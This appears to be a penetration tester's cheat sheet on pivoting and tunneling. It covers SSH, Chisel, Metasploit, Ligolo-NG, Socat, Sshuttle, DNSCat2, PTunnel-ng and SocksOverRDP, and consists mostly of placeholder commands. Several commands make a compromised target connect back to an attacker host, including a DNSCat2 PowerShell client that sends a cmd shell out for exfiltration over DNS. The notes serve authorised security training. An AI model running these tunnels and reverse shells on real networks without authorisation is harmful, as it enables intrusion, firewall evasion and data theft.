PRIMARY CATEGORY → PENTESTING ROOT

Local Port Forwarding

SSH
From the Attacker
ssh -p<PORT> -fN -L <LOCAL_PORT>:<TARGET|HOST>:<TARGET_PORT> <USER>@<TARGET>
Chisel

Reference

From the Attacker
./chisel server --reverse --port <PORT>
From the Target
./chisel client <ATTACKER>:<CHISEL_PORT> R:<ATTACKER_PORT>:localhost:<TARGET_PORT>
Metasploit

Meterpreter Module → portfwd

meterpreter > portfwd add -l <LOCAL_PORT> -p <TARGET_PORT> -r <TARGET>

Dynamic Port Forwarding

SSH
From the Attacker
ssh -p<PORT> -fN -D <SOCKS_PORT> <USER>@<TARGET>

It sets up a SOCKS5 Proxy on the localhost:<PORT>

Chisel

Reference

Standard

SOCKS Server → Target

Client → Attacker

  • From the Target 🎯
./chisel server -v --port <SOCKS_PORT> --socks5
  • From the Attacker ⚔️
./chisel client -v <TARGET>:<SOCKS_PORT> socks
Reverse

Firewall Evasion for Inbound Rules

SOCKS Server → Attacker Client → Target

  • From the Attacker ⚔️
./chisel server --reverse --port <SOCKS_PORT> --socks5 # Default Socks Port -> 1080
./chisel server --reverse --port <SOCKS_PORT> --socks5 <PORT> # Specific Port
  • From the Target 🎯
./chisel client <ATTACKER>:<SOCKS_PORT> R:socks
Metasploit
Setting up a SOCKS Listener

Post Exploitation Module → socks_proxy

> use auxilary/server/socks_proxy
> set SRVPORT <SOCKS_LISTENER_PORT>
> set SRVHOST <LOCAL_HOST_ADDRESSES> # e.g. 0.0.0.0
> set VERSION <SOCKS_PROXY_VERSION> # e.g. 5 (SOCKS5)
> run

msf6 auxiliary(server/socks_proxy) > options

Module options (auxiliary/server/socks_proxy):

Name Current Setting Required Description


SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 9050 yes The port to listen on VERSION 4a yes The SOCKS version to use (Accepted: 4a, 5)

Routing all the SOCKS Listener traffic through a Meterpreter Session
  • From the MSF6 Console
msf6 > use post/mult/manage/autoroute
msf6 > set SESSION <SESSION_ID> # e.g. 1
msf6 > set SUBNET <DESTINATION_SUBNET> # e.g. 172.16.5.0
msf6 > run
  • Directly from Meterpreter
meterpreter > run autoroute -s <DESTINATION_SUBNET>
PLink.exe

Plink.exe

plink -ssh -D <PORT> <USER>@<HOSTNAME>

After create the SOCKS listener on the local Windows machine, just use a tool that can relay all the traffic generated by any application via tunneling to the SOCKS server, such as Proxifier

Proxifier

Proxifier

Just add a new profile and specify the SOCKS’s Server socket and the SOCKS version on its settings

  • e.g.
127.0.0.1:9050 - SOCKS5

After that, all the traffic generated by any software on the Windows machine will be relayed through a tunnel to the SOCKS listener port

Usually this is not an ideal situation as all the traffic is being proxied, so, an operator can set a Proxification Rule to filter by application and target[s] host[s] or port[s]

RPivot

RPivot

Reverse SOCKS4 Proxy

This tool works by setting up a SOCKS reverse listener on the attacker machine and deploying a client on the externally accessible host (Pivot Host) which connects to that SOCKS server

The concept is the same as [[#Dynamic Port Forwarding#Chisel|here]]

Installation

It requires python2.7

git clone https://github.com/klsecservices/rpivot.git
  • Python2.7 Installation
apt install -y -- python2.7

Or →

curl https://pyenv.run | bash
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> !$
echo 'eval "$(pyenv init -)"' >> !$
. !$
pyenv install 2.7
pyenv shell 2.7
Running RPivot
  • From the Attacker ⚔️
python2.7 server.py --proxy-port <LOCAL_PORT> --server-port <LOCAL_PORT> --server-ip 0.0.0.0
  • From the Target 🎯
python2.7 client.py --server-ip <ATTACKER_IP> --server-port <ATTACKER_PORT>
Configuring proxychains

Socks4

...<SNIP>...
socks4 127.0.0.1 9050

Remote Port Forwarding

SSH
From the Attacker
ssh -p <PORT> -fN -R <TARGET>:<REMOTE_PORT>:0.0.0.0:<LOCAL_PORT> <USER>@<TARGET>
Socat

Socat

Victim → Pivot → Attacker

Reverse Shell Situation

From the Pivot Host

./socat TCP4-LISTEN:<LOCAL_PORT>,fork TCP4:<ATTACKER>:<ATTACKER_PORT>
Attacker → Pivot → Victim

Bind Shell Situation

From the Pivot Host

./socat TCP4-LISTEN:<LOCAL_PORT>,fork TCP4:<VICTIM>:<VICTIM_PORT>
Metasploit

Meterpreter Moduleportfwd

meterpreter > portfwd add -R -l <LOCAL_PORT> -p <TARGET_PORT> -L <ATTACKER>

Netsh

Netsh

Setting up Remote Port Forwarding

From the Pivot Host 🎯

netsh.exe interface portproxy add v4tov4 listenport=<LOCAL_PORT> listenaddress=<LOCAL_ADDRESS> connectport=<TARGET_PORT> connectaddress=<TARGET_ADDRESS>
Listing the existing Port Forwards
netsh.exe interface portproxy show v4tov4

Ligolo-NG

Ligolo-NG

Reference

Components
Proxy

This is the binary that builds the Server

It must be executed in the Attacker Machine ⚔️

Agent

It connects to the Server, therefore, this binary should be executed on the Target 🎯

Binaries Download

Releases

Proxy
curl --silent --location --request GET "<PROXY_URL>" --output proxy.tar.gz
tar -xvf !$ -C . proxy
chmod 700 !$
Agent
curl --silent --location --request GET "<AGENT_URL>" --output agent.tar.gz
tar -xvf !$ -C . agent
chmod 700 !$
Creating and Starting a Tun Interface

Attacker ⚔️

Interface Creation
ip tuntap add dev ligolo mode tun user $( whoami )
Switching the Interface On
ip link set ligolo up
Setting up the Proxy Server

Attacker ⚔️

./proxy -selfcert -laddr 0.0.0.0:1234
Connecting to the Proxy Server from the Agent

Target 🎯

./agent -connect <ATTACKER_IP>:1234 -ignore-cert
Adding a Route to the Internal Network via the Tun Interface

Attacker ⚔️

ip route add <NETWORK/MASK> dev ligolo
Starting the Session - Proxy Server ↔ Agent

Attacker ⚔️

ligolo-ng >> session # List Available Sessions
ligolo-ng >> <SESSION_ID> # Select the Specified Session
[Agent : <AGENT>] >> start # Start the Session

From this point on, we should be able to reach the hosts on the internal network

Setting up Listeners on the Agents

As occurs when using Chisel, we need to perform additional steps in order to receive a Reverse Shell from an Internal Host or to Transfer Files between the Attacker and the internal host

In the above situation, we could use Socat on the Agent Machine, to forward/fork the traffic received from a given TCP Port on the agent to a TCP Port of the attacker

In this case, there is no need to use Socat, we can proceed as follows to set up a listener

List any available listener
[Agent : <AGENT>] >> listener_list
Creating a Listener
[Agent : <AGENT>] >> listener_add --addr 0.0.0.0:<PORT> --to 127.0.0.1:<PORT>
  • --addr 0.0.0.0:<PORT>

This sets a Listen Port on All Agent Interfaces

  • --to 127.0.0.1:<PORT>

It redirects traffic from the specified socket to the attacker on a given port


Sshuttle

Sshuttle

This tool is transparent proxy which captures the outgoing connections to a certain network and relays them to the SSH Tunnel stablished with the remote host (Pivot Host) previoulsly

All the forwarding rules are managed locally by iptables

“Transparent proxy server that works as a poor man’s VPN. Forwards over ssh. Doesn’t require admin. Works with Linux and MacOS. Supports DNS tunneling.”

Installation

Reference

apt install -y -- sshuttle

Or →

git clone https://github.com/sshuttle/sshuttle.git Sshuttle
cd !$ && sudo ./setup.py install
Running Sshuttle
sshuttle -r <USER>@<TARGET> <CIDR> -v

As IPTables sets the forwarding rules, there is no need to use a redirection tool such as proxychains or proxyfier to route the traffic through the SSH Tunnel

So, an operator could use directly the following command to scan any host of the internal network →

nmap -p<PORT> --open -sT -T5 -v -n -Pn --disable-arp-ping <TARGET>

DNS Tunneling

DNSCat2

DNSCat2

Setup
git clone https://github.com/iagox86/dnscat2 DNSCat2
cd !$/server/ && sudo gem install bundler
sudo bundle install
Starting the DNSCat2 Server

From the Attacker ⚔️

ruby dnscat2.rb --dns host=<ATTACKER>,port=53,domain=<DOMAIN> --no-cache

Once the server is running, it will provide us with a secret key. We will need to enter this key when we run the DNSCat2 client in order to connect back to the DNSCat2 server and encrypt the exfiltrated data within the TXT records

Connecting to the DNSCat2 Server

From the Target 🎯

An operator can use either the DNSCat2 client that comes with the project or the dnscat2-powershell client

  • dnscat2-powershell
Import-Module .\dnscat2.ps1
Start-DNSCat2 -DNSServer <ATTACKER> -Domain <DOMAIN> -PreSharedSecret <SECRET_KEY> -Exec cmd

The above command just establishes a tunnel with the server running on the attack host and sends back a CMD shell session to the attacker

Session Establishment

Once the connection from the client is received, an operator can list the available options by entering ? at the prompt

dnscat2> ?

We can interact with the established session and drop into the shell as follows →

dnscat2> window -i 1

ICMP Tunneling with SOCKS

PTunnel-ng

PTunnel-ng

Setup
git clone https://github.com/utoni/ptunnel-ng ptunnel-ng
cd !$ && sudo ./autogen.sh
  • Alternative approach
apt install -y -- automake autoconf
git clone https://github.com/utoni/ptunnel-ng ptunnel-ng
cd !$ && sed -i '$s/.*/LDFLAGS=-static "${NEW_WD}\/configure" --enable-static $@ \&\& make clean \&\& make -j${BUILDJOBS:-4} all/' autogen.sh
./autogen.sh
Starting the PTunnel-ng server

From the Target 🎯

sudo ./ptunnel-ng -r<TARGET> -R22
Connecting to PTunnel-ng server

From the Attacker⚔️

sudo ./ptunnel-ng -p<TARGET> -l2222 -r<TARGET> -R22

The above command simply connects to the PTunnel-ng server listening on port 22 and sets up a local listener on port 2222

Next, we can attempt to connect to the target via SSH through local port 2222

Tunneling an SSH Connection through an ICMP Tunnel
ssh -p2222 <USER>@127.0.0.1
Setting up Dynamic Port Forwarding over SSH

Likewise, an operator could enable Dynamic Port Forwarding over SSH in order to access the internal network through the created ICMP Tunnel

ssh -D <SOCKS_PORT> -p2222 <USER>@<TARGET>

Then, a tool such as proxychains could be used to relay all the traffic generated by an application to the internal network through the SOCKS Server


RDP Tunneling with SOCKS

SocksOverRDP

SocksOverRDP

Setup

The following tools must be downloaded and transferred to the target host (Pivot Host) →

SocksOverRDP

Proxifier

The main idea behind this technique is to set up a SOCKS Listener by connecting to another internal host remotely via RDP using the SocksOverRDP plugin

Therefore, an attacker establishes a connection to a Windows machine in order to enable a SOCKS listener and redirect all traffic generated by a certain application to it tunneled over RDP

Loading SocksOverRDP.dll using regsvr32.exe

First, simply transfer the SocksOverRDPx64.zip and load the SocksOverRDP.dll using regsvr32.exe

regsvr32.exe SocksOverRDP-Plugin.dll

Next, an operator trying to connect to a remote machine over RDP using tools such as mstsc.exe should receive a prompt indicating that the SocksOverRDP plugin is enabled

Once the attacker is connected to the machine over RDP, SocksOverRDP.zip or SocksOverRDP.exe must be transferred to it in order to enable the SOCKS Listener on the Pivot Host by executing the binary

Confirming the SOCKS Listener is started
Get-NetTCPConnection -State Listen -LocalPort 1080

As the SOCKS server has been properly enabled on the local system, an operator can simply use a forwarding tool, such as Proxifier, in order to redirect all traffic generated by a specific application to the SOCKS Listener

This traffic will then be tunneled over RDP

As mentioned [[#Dynamic Port Forwarding#PLink.exe|here]], a proxification rule can be created in order to restrict the profile’s action to a certain application (mstsc.exe) and target e.g. 172.16.5.15